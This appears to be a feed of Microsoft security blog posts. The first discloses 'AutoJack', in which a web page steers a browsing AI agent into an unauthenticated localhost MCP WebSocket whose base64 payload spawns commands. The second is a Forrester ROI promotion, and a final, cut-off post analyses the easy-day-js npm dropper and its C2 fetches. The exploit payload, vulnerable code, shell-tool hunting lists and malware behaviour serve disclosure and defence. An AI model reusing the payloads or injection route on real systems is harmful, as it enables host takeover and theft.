The explanation below is for demonstrative purposes only. The exploit chain doesn’t work on current builds. It is included here so that defenders can recognize the pattern in other agent frameworks. 

The exploit chain composes three independent weaknesses in AutoGen Studio’s MCP WebSocket surface: 

1. Origin allowlist trusts localhost – but a local agent is localhost (CWE-1385 – Missing Origin Validation in WebSockets): The MCP WebSocket only accepts connections whose Origin is http://127.0.0.1 or http://localhost. That blocks a browser pointed at evil.com. It does not block JavaScript that is rendered by a headless browser owned by an AutoGen agent on the same machine. 

2. Authentication middleware is opt-out for MCP paths (CWE-306 – Missing Authentication for Critical Function): The auth middleware in AutoGen Studio explicitly skipped /api/mcp/* (and /api/ws/*) on the assumption that these would do their own checks. The MCP WebSocket handler did not implement that follow-up check. As a result, the MCP WebSocket accepted connections without any authentication regardless of the auth mode configured for the rest of the app. 

3. StdioServerParams from the URL is executed verbatim (CWE-78 – Improper Neutralization of Special Elements used in an OS Command): The endpoint accepted a server_params query parameter, base64-decoded a JSON blob into StdioServerParams, and handed command + args to stdio_client(…). There was no allowlist – calc.exe, powershell.exe -enc …, or bash -c ‘…’ were all accepted as “MCP servers.” 

Chain these together with a webpage on the open internet, rendered by an AutoGen agent running on the same machine, and you have a remote code execution primitive. No user interaction is required beyond getting the agent to render the attacker’s page. 

Figure 1. End-to-end exploitation chain. An attacker page is rendered by a local browsing agent; the page opens a WebSocket to ws://localhost:8081/api/mcp/ws/?server_params=; AutoGen Studio decodes the payload and spawns the attacker-supplied command under the developer’s account.

We named the technique AutoJack: an attacker carjacks the browsing agent and uses it as a confused deputy to drive across the localhost boundary into AutoGen Studio’s MCP control plane. 

Anatomy of the chain Issue 1: Origin allowlist that the agent itself defeats

AutoGen Studio’s MCP WebSocket relies on the conventional defense for browser-driven cross-site WebSocket hijacking (CSWSH): allow only same-origin connections from 127.0.0.1 / localhost. 

allowed_origins = [“http://127.0.0.1”, “http://localhost”] 

That is the right control for a human user opening a tab to evil[.]com. The browser will set the Origin header to hxxps://evil[.]com, the check will fail, and the connection will be refused. 

Origin checks alone are not the right control for an agent. An AutoGen agent equipped with built-in web-browsing tooling, such as MultimodalWebSurfer, fetch_webpage_tool, any Playwright-backed surfer, or a code-execution tool that runs requests/websockets is a process on the workstation. Anything it loads inherits the localhost identity. The “origin” of any JavaScript executed by that headless browser is whatever the agent navigated to – and the WebSocket call it then makes carries an Origin that satisfies the allowlist. 

Figure 2. Origin bypass via agent. AutoJack – a browsing agent on the developer’s workstation is steered by external content into the AutoGen Studio MCP control plane on localhost, dissolving the loopback trust boundary. Issue 2: Auth middleware that opts MCP out

AutoGen Studio supports several authentication modes (none, github, msal, firebase). All of them are wired into a single AuthMiddleware that runs ahead of FastAPI route dispatch. In the version on PyPI, that middleware contains an early-return for WebSocket-style paths: 

# auth excluded for these paths; they were intended to do their own checks if request.url.path.startswith("/api/ws") or request.url.path.startswith("/api/mcp"): return await call_next(request)

The intent is reasonable: ASGI middlewares cannot meaningfully gate WebSocket handshakes the same way they gate HTTP requests, so the design called for the WebSocket handler to enforce auth itself at accept time. The MCP (Model Context Protocol) route never picked up that responsibility. As a result, the table below holds for the released package: 

Auth configuration REST API protected? /api/mcp/ws/* protected? type: none No No type: github Yes No type: msal Yes No type: firebase Yes No 

Turning on auth in config.yaml does not close this hole on its own. 

Issue 3: server_paramsfrom the URL is the command line

The MCP WebSocket route in the development build reads a server_params query parameter, base64-decodes it, JSON-parses it into StdioServerParams, and passes that into stdio_client(…): 

@router.websocket("/ws/{session_id}") async def mcp_websocket(websocket: WebSocket, session_id: str): encoded = websocket.query_params.get("server_params") decoded = base64.b64decode(encoded) params = StdioServerParams(**json.loads(decoded)) await create_mcp_session(bridge, params, session_id)

StdioServerParams.command and StdioServerParams.args are passed to stdio_client, which uses them to spawn an MCP “server” process. There is no allowlist that the executable be an MCP-speaking binary, so the same plumbing happily spawns calc.exe, powershell.exe -enc …, or bash -c ‘…’. 

A minimal payload looks like: 

{ "type": "StdioServerParams", "command": "calc.exe", "args": [], "env": { "pwned": "true" } }

Base64-encoded into a query string, the full reach-out is: 

ws://localhost:8081/api/mcp/ws/?server_params=

Combined with Issues 1 and 2, all an attacker needs is for the agent to render a page that opens that URL. 

Putting it together: a realistic scenario

To validate the end-to-end chain, we wrote two tiny harnesses: 

malicious_web_server.py: a web page served at http://attacker[.]example/websocket-interactive. Its only meaningful content is a <script> that opens the WebSocket above with a base64 payload that runs calc.exe. 

web_summarizer_app.py: a small “Web Content Summarizer” AutoGen agent wrapped in a Flask UI. The app takes a URL from the user and hands it to a MultimodalWebSurfer agent with the prompt “Browse this URL and summarize its content.” It is, in other words, a fully-fledged AutoGen agent that anyone could build on top of the framework – the Flask page is just the interface. 

The end-to-end flow looks like this: 

The developer has built an AutoGen agent such as a Web Page Summarizer, or any agent with browsing capabilities, that runs on the same machine as AutoGen Studio. 

An attacker plants a malicious comment on a legitimate news site, or a user asks the summarizer agent to summarize an attacker-controlled URL. This can happen through a direct prompt, a prompt injection in earlier content, or a URL field in the app. 

The agent’s browsing tool, MultimodalWebSurfer in our case, then navigates the headless browser to the attacker’s page. 

The page’s JavaScript opens ws://localhost:8081/api/mcp/ws/<id>?server_params=<base64>. Because the browser is on the same machine, the Origin is acceptable; because the auth middleware short-circuits /api/mcp/*, no token is required. 

AutoGen Studio decodes the payload and runs calc.exe (or anything else) under the developer’s account. 

Note that we packaged the demonstration as a controlled local proof of concept, See it end-to-end.

The screenshots below show the full chain on a single workstation: the developer launches AutoGen Studio on localhost:8081 (the default port), opens the Web Content Summarizer app, and submits an attacker-controlled URL. Within seconds of MultimodalWebSurfer rendering the page, calc.exe pops on the developer’s desktop, launched by the AutoGen Studio process, not by the browser and not by the agent’s headless Chromium. 

Autogen Studio. The AutoGen browser agent we built retrieves and summarizes website content as designed. AutoJack in action: The browsing agent renders an attacker page; the page’s JavaScript opens a WebSocket to ws://localhost:8081/api/mcp/ws/…?server_params=; AutoGen Studio decodes the payload and spawns calc.exe. In a real-world deployment, the same primitive could be used to execute other attacker-chosen commands on whichever host is running AutoGen Studio, depending on the privileges of that process. Fixes and hardening measures applied

The issue was fixed with the help of the Microsoft Security Response Center. The maintainers implemented the necessary hardening measures, helping protect users ahead of full release and broader adoption: 

Server-side parameter binding. On main, the WebSocket handler no longer reads server_params from the URL. A separate POST /api/mcp/ws/connect route stores the parameters server-side in pending_session_params, keyed by a universally unique identifier (UUID). The WebSocket handler pops the entry by session ID and refuses unknown IDs with close code 4004. The code comment is explicit: “This prevents attackers from injecting arbitrary server_params via the WebSocket query string.” 

Tighter auth skip list. The middleware skip-list on main no longer includes /api/mcp. It includes only /api/ws and /api/maker. MCP routes now flow through the normal auth path. 

These changes are present in the AutoGen main branch as of commit b047730, and pyproject.toml on main is at version 0.7.2.

Crucially, this issue was identified and remediated before any PyPI release, so the affected code never shipped in a published package. The exposure was limited to developers who built AutoGen Studio from the main GitHub branch during the window between the MCP plugin landing and the hardening commit. This was confirmed by downloading autogenstudio 0.4.2.2, the current published release, and inspecting its contents directly: the package doesn’t include autogenstudio/web/routes/mcp.py, the FastAPI application in app.py does not mount an /api/mcp router, and a recursive search across all 55 Python files found no matches for StdioServerParams or /api/mcp.. In other words, users who run pip install autogenstudio today gets a build that does not contain the MCP WebSocket attack surface at all. 

Mitigation and protection guidance 

If you are running AutoGen Studio 

Deploy AutoGen Studio strictly as a developer prototype in an isolated environment, not as an internet-exposed service, aligning as documented. 

If you install autogenstudio with pip (currently 0.4.2.2), you are not exposed to this specific chain. The issue was identified and addressed during development before any PyPI release, and the affected MCP WebSocket route is not present in the published package. The general guidance below still applies because the pattern (an agent on the box reaching localhost services) is broader than this one bug. 

If you build from the main branch for MCP support, use a build at or after commit b047730.

Do not run AutoGen Studio with a browsing or arbitrary code execution agent on the same machine as untrusted content. That combination is the substrate the chain needs, and similar shapes will recur as the project evolves.

Bind to loopback only and add a host firewall rule that blocks all non-loopback traffic to the port 8081 (default).

Place AutoGen Studio behind an authenticated reverse proxy that enforces auth on all paths, including any future WebSocket or /api/* routes. Don’t rely on framework auth modes alone for control-plane endpoints.

Run AutoGen Studio under a low-privilege account in a sandboxed user profile or container so that any future agent-driven RCE is contained to a dev profile, not your daily-driver account.

If you are building agent apps on top of AutoGen 

The deeper lesson is broader beyond this one project. When an agent can both browse external content and reach privileged local services on localhost, it can unintentionally create a confused-deputy scenario. Defend against it by: 

Treating any tool parameter that is reachable from model output as attacker controlled. 

Refusing to bind sensitive control planes (debug endpoints, MCP control sockets, code executors, dev databases) to localhost without authentication. Loopback is an attack surface for any agent on that machine. 

Allowlisting which executables may be invoked as MCP “servers,” instead of accepting command/args from any caller. 

Separating the agent browsing identity from the developer’s identity (different OS user, container, or VM). 

How Microsoft helps secure agentic systems 

Microsoft security teams are actively researching how traditional software risks change when AI models connect to tools, browsers, code interpreters, and local services. This work informs guidance for developers and detections for defenders across Microsoft Defender, Microsoft Defender for Cloud, Microsoft Entra and Microsoft 365. 

Customers using Microsoft Defender, Microsoft Defender for Cloud, and Microsoft Entra can use these controls to detect, contain, and investigate related activity. Coverage depends on product licensing, configuration, and telemetry. 

At the model and agent layer (catch the manipulation) 

Azure AI Content Safety Prompt Shields detects user prompt injection and indirect prompt injection (cross-prompt injection attack, or XPIA), which can catch an early stage of this chain when attacker-controlled content steers an agent to navigate to a malicious page. Prompt Shields do not intercept the client-side JavaScript execution that follows, but they provide an early interception point when initial navigation is triggered through indirect prompt injection. Prompt Shields also integrate with Defender for Cloud AI threat protection so the security operations center (SOC) can see this signal. 

How Microsoft helps secure agentic systems

Microsoft security teams are actively researching how traditional software risks change when AI models connect to tools, browsers, code interpreters, and local services. This work informs guidance for developers and detections for defenders across Microsoft Defender, Microsoft Defender for Cloud, Microsoft Entra and Microsoft 365. 

Customers using Microsoft Defender, Microsoft Defender for Cloud, and Microsoft Entra can use these controls to detect, contain, and investigate related activity. Coverage depends on product licensing, configuration, and telemetry. 

At the model and agent layer (catch the manipulation) 

Azure AI Content Safety Prompt Shields detects user prompt injection and indirect prompt injection (cross-prompt injection attack, or XPIA), which can catch an early stage of this chain when attacker-controlled content steers an agent to navigate to a malicious page. Prompt Shields do not intercept the client-side JavaScript execution that follows, but they provide an early interception point when initial navigation is triggered through indirect prompt injection. Prompt Shields also integrate with Defender for Cloud AI threat protection so the security operations center (SOC) can see this signal. 

https://learn.microsoft.com/en-us/azure/ai-services/content-safety/concepts/jailbreak-detection

Microsoft Defender for Cloud Threat Protection for AI Services raises alerts on jailbreak, data leakage, and credential theft patterns observed against Azure-hosted models, including models used by AutoGen agents when routed through Azure AI services. 

https://learn.microsoft.com/en-us/azure/defender-for-cloud/ai-threat-protection

Microsoft Defender for Cloud AI Security Posture Management (AI-SPM) builds an AI bill of materials (AI BOM), scans infrastructure as code (IaC) and container dependencies for vulnerable AI components, and runs attack path analysis. This helps inventory where AutoGen Studio, or similar prototypes, is deployed across cloud and developer environments. 

https://learn.microsoft.com/en-us/azure/defender-for-cloud/ai-security-posture

Microsoft Foundry AI Red Teaming Agent and the open-source PyRIT automate adversarial probing for indirect prompt injection, prohibited actions, and sensitive data leakage. Run these tools against your own agent prototypes before allowing them to browse the open web. 

https://learn.microsoft.com/en-us/azure/foundry/concepts/ai-red-teaming-agent https://github.com/microsoft/PyRIT  At the endpoint (catch the spawn and the post-exploitation) 

Microsoft Defender is a high-leverage control for this chain. The AutoJack primitive ends with a Python or Node parent process spawning an unexpected child process through StdioServerParams, which matches the behavioral pattern that endpoint detection and response (EDR) and automated investigation and response (AIR) are designed to catch. 

https://learn.microsoft.com/en-us/defender-endpoint/

Network Protection and Web Content Filtering and custom IP, URL, and domain indicators can block the headless browser from reaching known malicious sites. They can also let you blackhole an attacker domain across the fleet after identification, provided that headless browser traffic is routed through the operating system network stack inspected by Network Protection. 

https://learn.microsoft.com/en-us/defender-endpoint/network-protection https://learn.microsoft.com/en-us/defender-endpoint/web-content-filtering

Microsoft Defender Vulnerability Management software inventory helps locate machines running vulnerable versions of agent frameworks. One caveat is that pip-installed Python packages might not always appear in standard inventory parsers, so hunt for them through process and file telemetry as well. 

https://learn.microsoft.com/en-us/defender-vulnerability-management/ Identity, network, and data containment 

Microsoft Entra Conditional Access gates source, cloud, and tenant access based on risk signals including compliant device, compliant network and agent risk, which blocks access in real-time.  Privileged Identity Management (PIM) helps keep admin tokens out of standing reach and limits blast radius if a developer workstation is compromised.

https://learn.microsoft.com/en-us/entra/identity/conditional-access/overview

Microsoft Entra Agent ID extends familiar Microsoft Entra capabilities to AI agents and treats agents as a first-class identity. It brings together identity management, access protection, governance, and compliance controls to manage, govern, and protect AI agents. This reduces the blast radius of confused-deputy attacks such as AutoJack by ensuring agents operate under distinct governed identities rather than inheriting a developer’s ambient privileges. 

https://www.microsoft.com/en-us/security/blog/2025/05/19/announcing-microsoft-entra-agent-id-secure-and-manage-your-ai-agents/

Microsoft Defender detects and helps contain lateral movement and credential abuse if an attacker pivots from a compromised workstation into Active Directory (AD) or Microsoft Entra. 

https://learn.microsoft.com/en-us/defender-for-identity/what-is Hardening the dev environment itself 

Microsoft Dev Box provides cloud-hosted, IT-managed developer workstations with Intune, Conditional Access, and Microsoft Defender for Endpoint by default. It is a structurally safer place to run experimental AutoGen builds than a personal laptop. Windows Sandbox, generally available on Pro, Enterprise, and Education editions, is a lightweight equivalent for one-off experiments. A successful AutoJack-style remote code execution (RCE) event is contained within the sandbox and discarded when the sandbox closes. 

https://learn.microsoft.com/en-us/azure/dev-box/overview-what-is-microsoft-dev-box https://learn.microsoft.com/en-us/windows/security/application-security/application-isolation/windows-sandbox/windows-sandbox-overview

Microsoft Defender for Cloud DevOps Security (general availability, or GA), together with GitHub Advanced Security capabilities such as Dependabot, secret scanning, and CodeQL, helps surface vulnerable framework versions pinned in repository manifests and detect credentials that workstation remote code execution could exfiltrate from source code. 

https://learn.microsoft.com/en-us/azure/defender-for-cloud/defender-for-devops-introduction Investigation and response 

Investigation and response 

Microsoft Defender advanced hunting is where the queries below run. Use Microsoft Security Copilot to summarize incidents, generate Kusto Query Language (KQL), and triage alerts produced by the controls above. 

https://learn.microsoft.com/en-us/defender-xdr/advanced-hunting-overview https://learn.microsoft.com/en-us/copilot/security/microsoft-security-copilot Microsoft Defender detections 

Organizations can use the hunting queries below to identify suspicious child-process creation and related activity consistent with this technique on hosts running AutoGen Studio, then investigate and contain as appropriate. 

Advanced hunting queries 

Use these Microsoft Defender advanced hunting queries to look for the AutoJack chain on hosts running AutoGen Studio. Tune the time range and process names for your environment. 

1. Suspicious children spawned by an autogenstudio host process 

DeviceProcessEvents | where Timestamp > ago(30d) | where InitiatingProcessCommandLine matches regex @"(?i)autogenstudio|autogen[\s_\-]?studio" or InitiatingProcessFolderPath matches regex @"(?i)autogenstudio" | where FileName in~ ( "cmd.exe", "powershell.exe", "pwsh.exe", "bash.exe", "wsl.exe", "certutil.exe", "mshta.exe", "rundll32.exe", "regsvr32.exe", "curl.exe", "wget.exe", "bitsadmin.exe" ) | project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine | sort by Timestamp desc

2. WebSocket reach-outs to the AutoGen Studio MCP control plane carrying server_params 

This is most useful when paired with a network sensor that surfaces local WebSocket upgrade requests, but it can also be approximated by using process command lines that construct the URL manually. 

DeviceNetworkEvents | where Timestamp > ago(30d) | where RemotePort in (8081, 8080) | where RemoteUrl has "/api/mcp/ws/" and RemoteUrl has "server_params=" | project Timestamp, DeviceName, InitiatingProcessFileName, RemoteIP, RemotePort, RemoteUrl | sort by Timestamp desc

3. Browser-automation hosts navigating to non-corporate domains during an AutoGen Studio session 

DeviceProcessEvents | where Timestamp > ago(30d) | where InitiatingProcessFileName in~ ("python.exe", "pythonw.exe", "node.exe") | where InitiatingProcessCommandLine has_any ("playwright", "MultimodalWebSurfer", "autogen") | join kind=inner ( DeviceNetworkEvents | where Timestamp > ago(30d) | where not(RemoteUrl has_any("microsoft.com", "msft.net", "office.com", "")) | project DeviceName, InitiatingProcessId, RemoteUrl, Timestamp ) on DeviceName, $left.ProcessId == $right.InitiatingProcessId | project Timestamp, DeviceName, AccountName, ProcessCommandLine, RemoteUrl | sort by Timestamp desc

If any of these queries surface activity during a period when AutoGen Studio was running with a browsing or code-execution agent, treat the host as a potential development-environment compromise. Review the host, rotate developer credentials and tokens accessible from it, and check whether anything was written to autostart locations. 

What this means for the broader agent ecosystem 

AutoJack is less interesting because of its individual bugs, each of which is a reasonable shortcut in a research-grade prototype, and more interesting because of the chain’s overall shape. We expect to see the same pattern across the ecosystem: 

1. A development tool exposes a powerful local control plane. 

2. That control plane is protected by an origin or localhost-only assumption. 

3. The user routinely runs an agent on the same machine, and that agent is willing to render arbitrary web content. 

That triangle dissolves the localhost trust boundary. The durable response is to authenticate and authorize every control plane regardless of origin, allowlist dangerous primitives such as process execution, file write and network egress, and isolate agent identity from developers identity.  

AutoJack shows that localhost is no longer a trust boundary when agents can browse untrusted content and interact with privileged local control planes. The durable defense is consistent with control-plane authentication and authorization, strict allowlisting of high-risk actions, and identity isolation between agents and developers. 

This research is provided by Microsoft Defender Security Research, Shaked Ilan, and with contributions from members of Microsoft Threat Intelligence.

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Explore how to build and customize agents with Copilot Studio Agent Builder 
• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 
• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Learn more about Protect your agents in real-time during runtime (Preview)

The post AutoJack: How a single page can RCE the host running your AI agent  appeared first on Microsoft Security Blog.

Across many industries, organizations are unifying security and putting AI agents to work. Security teams are utilizing agents that reason, decide, and act on their behalf, under their governance. At Microsoft, we see this firsthand—more than 80% of the Fortune 500 are already using AI.1 The promise of this moment is enormous. The responsibility that comes with it is just as significant. This year, Microsoft commissioned Forrester Consulting to conduct a Total Economic Impact™ (TEI) study for our AI-first, end-to-end security platform.

Read the full Forrester TEI study What end-to-end security delivers

Based on in-depth interviews with a survey of 362 customers and 11 security decision-makers using Microsoft Security solutions, the Forrester study revealed the impact of consolidating with Microsoft Security. To model the financial impact, Forrester aggregated insights into a single composite organization—a global business-to-business (B2B) company with 10,000 employees—and constructed a TEI framework that quantifies costs, benefits, and risks. Through its study, Forrester projected that an organization would experience the following over three years.

• Up to 30% reduction in the likelihood of a breach
  Integrated protection across identities, endpoints, data, and infrastructure helps prevent attacks before they succeed.

• Up to 25% reduction in cost to remediate remaining attacks
  End-to-end visibility and coordinated response cut the cost of incidents that do occur.

• Up to 23% reduced annual technology spend
  Consolidating point solutions eliminates redundant tooling and the licensing and services that come with it.

• Up to 32% avoided headcount growth
  Automation, integration, and self-service let teams scale without scaling proportionally.

• 20% lower total cost of ownership—$3.0M in TCO savings
  A unified platform reduces the operating drag of running disconnected tools.

Based on interviews, Forrester’s financial analysis found that a composite organization experiences $30.0 million in benefits over three years versus $13.4 million in costs, resulting in a net present value (NPV) of $16.6 million and an ROI of 124%.

Read the full Forrester TEI study for a complete methodology, assumptions, and detailed financial analysis.

Microsoft Security allows us to deploy modern solutions and be on the leading edge of technologies at enterprise scale.” 

—Senior information security officer, NGO

Value beyond what’s measured

The numbers tell part of the story. What we hear from defenders and what the Forrester study reinforces is that the real value of consolidation shows up in the work itself: faster decisions, less friction, more time spent on the cyberthreats that matter. That’s especially true as AI changes both what cyberattackers can do and what defenders can build.

• Security for AI – New solutions like Microsoft Agent 365 with foundations of Microsoft Security, extend identity, governance, and control to AI agents, so customers can adopt them with confidence. 

• AI for Security – Microsoft Security Copilot, together with Microsoft Defender, Entra and Purview provides AI-assisted insights to help defenders investigate, prioritize, and respond to security incidents.

• Security foundations for Zero Trust – Identity and access controls work consistently across the environment, without stitching together multiple vendors. 

• Simplified hiring and skill development – Building on tools security teams already know makes it easier to recruit, onboard, and grow talent. 

• Improved employee experience – Single sign-on and streamlined device onboarding reduce friction, so people can focus on their work. 

I like Microsoft because it’s the only vendor that provides a single view or a single location for all the security needs: cloud posture, endpoint protection management, data loss prevention. You don’t have that many vendors today that have the Swiss Army Knife-style platform.”

—Regional chief information security officer (CISO), engineering

An evolving playbook for the agentic era

An integrated approach to security is especially important as threat complexity grows—some organizations use an average of 45 security tools,2 which can increase operational overhead and limit visibility. At the same time, AI-powered threats are accelerating. As human-led AI agents begin to respond to threats, a connected security model becomes even more critical—extending consistent protections not only to traditional surfaces, but also to emerging layers such as prompts, models, plug-ins, and the agents themselves.

Security as the core primitive of the AI stack

As security systems evolve to meet the demands of the agentic era, we see security differently. In the agentic era, security should be the core primitive of the AI stack—woven into and around every layer, ambient, and autonomous, like the AI it protects.

This principle is why we built our platform end-to-end—from identity and endpoint management to data security, compliance, and threat protection—creating an agentic defense platform that unifies the security operations center (SOC) and uses AI to help defenders operate at machine speed with Microsoft Security Copilot. Microsoft Agent 365 extends on this foundation as the control plane for agents, giving security, IT, and business teams the visibility and controls they need to govern agents at scale. Built to work together natively, these aren’t separate products that happen to integrate. They’re a single platform designed for end-to-end security in the age of AI.

Microsoft has done an excellent job developing security agents such as identity and intelligence… Microsoft is innovating as fast as tech startups in the space.” 

—Global CISO, professional services

Built to secure what comes next

The era of agentic AI doesn’t just raise the stakes for security. It changes what security should be. Alongside our customers and our partners, we’re building the future of security. Read the full Forrester Total Economic Impact™ of Microsoft Security study. Explore end-to-end Security for AI to learn how to safeguard your AI platforms, apps, and agents with comprehensive solutions.

Read the Forrester TEI study

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

1Cyber Pulse: An AI Security Report. Microsoft Security Insider.

2Gartner Identifies the Top Cybersecurity Trends for 2025,” March 3, 2025. https://www.gartner.com/en/newsroom/press-releases/2025-03-03-gartner-identifiesthe-top-cybersecuri…

The post New Forrester study shows customers who unified with Microsoft Security benefited from 124% ROI appeared first on Microsoft Security Blog.

In this article

1. Attack chain overview
   1. Discovery and initial indicators
   2. Dependency injection: the poisoned package.json
   3. Typosquat analysis: easy-day-js
   4. Staged delivery pattern
   5. Obfuscation and payload analysis
   6. TLS bypass to self-deletion
   7. Timeline analysis
2. Mitigation and protection guidance
   1. Microsoft Defender XDR detections
   2. Microsoft Security Copilot
   3. Advanced hunting
   4. Indicators of compromise (IOC)
3. References
4. Learn more

Microsoft Threat Intelligence observed a large-scale npm supply chain attack affecting 140+ packages across the mastra and @mastra scopes on the npm registry. Microsoft shared its findings with the npm security team, and the compromised packages have been removed and the attacker’s publish access to the @mastra scope has been revoked. The compromise originated from the takeover of the ehindero npm maintainer account, which had publish rights across the Mastra ecosystem and was used to publish poisoned package versions that introduced easy-day-js, a malicious typosquat of the popular dayjs library.

Once installed, easy-day-js triggered a postinstall hook that executed an obfuscated dropper script, disabled Transport Layer Security (TLS) certificate verification, contacted attacker-controlled command-and-control (C2) infrastructure, downloaded a second-stage payload, and executed the payload as a detached hidden process. The activity followed a coordinated staged delivery pattern, with a clean bait version published first, followed by a weaponized version and rapid publication of the compromised Mastra packages.

Because the payload executes during installation, any developer workstation or continuous integration and continuous delivery (CI/CD) pipeline that ran npm install or npm update after the compromised versions were published was potentially exposed, regardless of whether the package was imported in application code.  This created risk to credentials, tokens, build environments, and downstream software integrity. Microsoft Defender Antivirus, Microsoft Defender for Endpoint, and Microsoft Defender XDR provide detections and hunting coverage for suspicious Node.js execution, malicious package behavior, reflective code loading, persistence activity and command-and-control communication.

Attack chain overview Figure 1. End-to-end attack chain from npm account takeover through mass dependency injection to second-stage payload execution.

At a high level, the attack progressed through six phases:

• Account compromise: The attacker gained control of the ehindero npm account , a listed maintainer with publish rights across the entire @mastra scope.
• Typosquat creation: The attacker published easy-day-js, a package impersonating the legitimate dayjs library (57M+ weekly downloads), using a coordinating anonymous email account ).
• Mass poisoning: Using the compromised account, the attacker published new versions of 140+packages across the @mastra scope, each injected with easy-day-js@^1.11.21 as a new dependency. All poisoned versions were tagged as latest.
• Delivery: Developers and CI/CD pipelines running npm install automatically resolved to the compromised versions. The semantic versioning (SemVer) range ^1.11.21 resolved to 1.11.22, the version containing the malicious postinstall hook.
• Execution: The postinstall hook executed an obfuscated 4,572-byte dropper that disabled TLS verification, dropped tracking markers, and contacted the C2 server.
• Second-stage payload: The dropper fetched executable code from the C2 server, wrote it as a randomly named .js file, and spawned it as a fully detached, window-hidden Node.js process.

Discovery and initial indicators

Microsoft Threat Intelligence identified the compromise through anomalous publishing patterns on the mastra package. All previous versions of mastra (through v1.13.0) were published through GitHub Actions OpenID Connect (OIDC), the legitimate CI/CD pipeline. Version 1.13.1 was manually published by ehindero using a Tutamail address, an anonymous email service.

Figure 2. Publisher comparison across mastra versions showing the anomalous manual publish on v1.13.1.

The only change between mastra@1.13.0 and mastra@1.13.1 was the addition of easy-day-js@^1.11.21 as a dependency. No corresponding code changes were present in the Mastra GitHub repository. Both the compromised publisher (ehindero2016@tutamail.com) and the typosquat publisher (sergey2016@tutamail.com) used the same anonymous email provider, Tutamail.

Dependency injection: the poisoned package.json

The compromised mastra@1.13.1 package.json reveals the injected dependency alongside the anomalous publisher metadata:

Figure 3. The compromised mastra@1.13.1 package.json with the injected easy-day-js dependency and the anomalous npm publisher.

The easy-day-js dependency was not present in any prior versions of mastra npm packages. Its addition, paired with the SemVer range ^1.11.21, ensures that the npm resolves to the weaponized 1.11.22 release.

Typosquat analysis: easy-day-js

The easy-day-js package is a deliberate impersonation of the legitimate dayjs library:

AttributeLegitimate dayjsMalicious easy-day-jsMaintaineriamkun <kunhello@outlook[.]com>sergey2016 <sergey2016@tutamail[.]com>Claimed authoriamkuniamkun (impersonated)Repository URLgithub.com/iamkun/dayjsgithub.com/iamkun/dayjs (copied)Weekly downloads57,251,792newly createdVersion count89+ versions since 20182 versions (both June 16, 2026)postinstall scriptNonenode setup.cjs –no-warnings (v1.11.22) Staged delivery pattern

The typosquat used a two-phase delivery strategy:

• Phase 1 (clean bait): easy-day-js@1.11.21 was published at 07:05 UTC on June 16, 2026. This version contained only legitimate dayjs code with no postinstall hook.
• Phase 2 (weaponization): easy-day-js@1.11.22 was published at 01:01 UTC on June 17, 2026, adding the setup.cjs payload and the postinstall hook. The dayjs.min.js file is byte-identical between both versions, confirming only the dropper was added.

The weaponized package.json in version 1.11.22 exposes the postinstall hook:

Figure 4. The weaponized easy-day-js@1.11.22 package.json. The postinstall hook runs setup.cjs automatically on npm install. Obfuscation and payload analysis

Stage 0: Obfuscated dropper (setup.cjs)

The setup.cjs payload is protected with JavaScript obfuscation using rotated string arrays and a custom base64 decoder function:

Figure 5. The obfuscated setup.cjs dropper with rotated string array and base64 encoded string lookups.

The obfuscation technique uses a common pattern: an array of 40 Base64-encoded strings is shuffled at initialization using a numeric seed (0x4c11d), then accessed through a decoder function that performs Base64 decoding with character substitution. This prevents static analysis tools from extracting meaningful strings.

Stage 1: String table decryption

Decoding the rotated string array reveals the payload’s true capabilities:

Figure 6. The decoded string table revealing C2 addresses, file system operations, and process spawning functionality.

Key decoded strings include the secondary C2 address (23.254.164[.]123:443), Node.js built-in module references (node:child_process, node:os), and file system operations (writeFileSync, rmSync).

Stage 2: Deobfuscated payload logic

After resolving all string references and control flow, the full payload logic emerges as a five-step attack sequence:

Figure 7. The fully deobfuscated setup.cjs payload showing the five-step attack sequence from. TLS bypass to self-deletion

Step 1: Disable TLS verification. The payload sets NODE_TLS_REJECT_UNAUTHORIZED to ‘0’, disabling certificate validation for all HTTPS requests in the Node.js process. This enables communication with the C2 server without valid certificates.

Step 2: Drop filesystem markers. Two tracking files are written to the OS temp directory: $TMPDIR/.pkg_history contains the install path of the compromised package, and $TMPDIR/.pkg_logs contains the package name encoded with XOR 0x80:

Figure 8. XOR 0x80 decoding of the .pkg_logs marker reveals the string easy-day-js.

Step 3: Fetch second-stage payload. The dropper issues a GET request to hxxps://23.254.164[.]92:8000/update/49890878 and reads the response body as text.

The second-stage payload is a ~41 KB cross-platform Node.js tasking client. Unlike a fire-and-forget stealer, the implant installs sign-in persistence, sends a Start beacon to the C2, then enters a repeated Check poll loop. Tasks returned by the server are dispatched to built-in runners (a Node runner and a Shell runner), and it honors configuration update and exit commands, meaning the operator can push and execute arbitrary follow-on code on the host at any time. On Windows, the payload additionally executes reflective .NET assembly injection for in-memory code execution.

Step 3.A: Windows execution chain. On Windows, the payload performs host reconnaissance and reflective in-memory code execution before establishing persistence.

The payload enumerates all installed applications across three sources—Start Menu entries (Get-StartApps), registry Uninstall keys, and UWP packages (Get-AppxPackage)—to fingerprint the compromised host:

Each enumeration is wrapped in try/catch with silent error handling. The deduplicated results are exfiltrated back to the C2 for victim profiling, enabling the attacker to identify installed security products and high-value targets.

A second PowerShell script receives two C2 endpoint URLs through the SCRIPT_ARGS environment variable. It disables SSL certificate validation and defines an HTTP POST function that Base64-encodes request bodies using a legacy IE8 User-Agent string:

The first C2 request downloads a .NET DLL that is loaded directly into memory via reflection, completely bypassing disk-based detection. The script resolves the Extension.SubRoutine class and invokes its Run2 method with a second downloaded payload, the path to cmd.exe, and the C2 callback address:

This pattern is consistent with process injection, where the payload is injected into a cmd.exe process that communicates back to the C2 over HTTPS (port 443). The entire chain is fileless—no artifacts are written to disk.

